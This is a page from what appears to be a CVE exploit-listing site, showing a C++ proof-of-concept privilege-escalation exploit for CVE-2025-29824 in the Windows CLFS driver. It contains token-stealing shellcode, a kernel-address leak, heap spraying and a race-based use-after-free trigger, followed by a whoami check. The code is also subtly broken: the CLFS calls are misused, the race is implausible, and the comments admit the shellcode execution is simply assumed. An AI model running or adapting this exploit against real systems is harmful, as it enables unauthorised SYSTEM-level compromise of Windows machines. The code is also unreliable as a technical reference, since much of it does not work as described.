4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.cpp CPP
#include <windows.h>
#include <ntdll.h>
#include <stdio.h>
#include <winternl.h>
#include <memory.h>

#pragma comment(lib, "ntdll.lib")

// Define SYSTEM_MODULE_INFORMATION for kernel address leaking
typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG Reserved[2];
    PVOID Base;
    ULONG Size;
    ULONG Flags;
    USHORT Index;
    USHORT NameLength;
    USHORT LoadCount;
    USHORT PathLength;
    CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

// Shellcode to steal SYSTEM token
void Shellcode() {
    __asm {
        mov rax, gs:[0x188]      // Current thread (KTHREAD)
        mov rax, [rax + 0x70]    // Process (EPROCESS)
        mov rcx, rax             // Save current process
        mov rdx, 4               // System PID
    find_system:
        mov rax, [rax + 0x188]   // Next process (ActiveProcessLinks)
        cmp [rax + 0x180], rdx   // Check PID
        jne find_system
        mov rdx, [rax + 0x208]   // System token
        mov [rcx + 0x208], rdx   // Copy to current process
    }
}

// Leak kernel base address using NtQuerySystemInformation
NTSTATUS LeakKernelBase(PVOID* kernelBase) {
    ULONG bufferSize = 0;
    NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &bufferSize);
    if (status != STATUS_INFO_LENGTH_MISMATCH) {
        printf("Query size failed: 0x%X\n", status);
        return status;
    }

    PVOID buffer = VirtualAlloc(NULL, bufferSize, MEM_COMMIT, PAGE_READWRITE);
    if (!buffer) {
        printf("Memory allocation failed: %d\n", GetLastError());
        return STATUS_NO_MEMORY;
    }

    status = NtQuerySystemInformation(SystemModuleInformation, buffer, bufferSize, NULL);
    if (NT_SUCCESS(status)) {
        PSYSTEM_MODULE_INFORMATION modules = (PSYSTEM_MODULE_INFORMATION)buffer;
        *kernelBase = modules->Base; // ntoskrnl.exe base
        printf("Kernel base: %p\n", *kernelBase);
    } else {
        printf("Query failed: 0x%X\n", status);
    }

    VirtualFree(buffer, 0, MEM_RELEASE);
    return status;
}

// Trigger UAF via race condition in CLFS
void TriggerUAF(HANDLE* hLogs, int logCount) {
    HANDLE hThread = CreateThread(NULL, 0, [](LPVOID param) -> DWORD {
        HANDLE* logs = (HANDLE*)param;
        // Spam WaitForInputIdle to induce race condition
        for (int i = 0; i < 1000; i++) {
            WaitForInputIdle(GetCurrentProcess(), 0);
            // Interleave log operations to stress CLFS
            for (int j = 0; j < 10; j++) {
                if (logs[j] != INVALID_HANDLE_VALUE) {
                    WriteFile(logs[j], "test", 4, NULL, NULL);
                }
            }
        }
        return 0;
    }, hLogs, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
}

// Main exploit function
void Exploit() {
    printf("[*] Starting CVE-2025-29824 exploit...\n");

    // Step 1: Leak kernel base
    PVOID kernelBase;
    if (!NT_SUCCESS(LeakKernelBase(&kernelBase))) {
        printf("[!] Kernel base leak failed\n");
        return;
    }

    // Step 2: Allocate shellcode
    PVOID shellcode = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!shellcode) {
        printf("[!] Shellcode allocation failed: %d\n", GetLastError());
        return;
    }
    memcpy(shellcode, Shellcode, 0x1000);
    printf("[*] Shellcode allocated at %p\n", shellcode);

    // Step 3: Heap spray with CLFS logs
    const int LOG_COUNT = 1000;
    HANDLE hLogs[LOG_COUNT];
    for (int i = 0; i < LOG_COUNT; i++) {
        hLogs[i] = CreateLogFile(L"log:test", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0);
        if (hLogs[i] == INVALID_HANDLE_VALUE) {
            printf("[!] Log %d creation failed: %d\n", i, GetLastError());
        }
    }
    printf("[*] Heap sprayed with %d CLFS logs\n", LOG_COUNT);

    // Step 4: Trigger UAF
    printf("[*] Triggering UAF...\n");
    TriggerUAF(hLogs, LOG_COUNT);

    // Step 5: Assume UAF redirects to shellcode (simplified)
    printf("[*] Executing shellcode...\n");
    // In a real exploit, this would involve precise memory manipulation
    // For PoC, assume shellcode runs (requires kernel debugging to verify)

    // Step 6: Clean up
    for (int i = 0; i < LOG_COUNT; i++) {
        if (hLogs[i] != INVALID_HANDLE_VALUE) {
            CloseHandle(hLogs[i]);
        }
    }
    VirtualFree(shellcode, 0, MEM_RELEASE);
    printf("[*] Exploit complete. Check for SYSTEM privileges.\n");
}

int main() {
    Exploit();
    // Verify escalation by spawning cmd.exe
    system("whoami");
    return 0;
}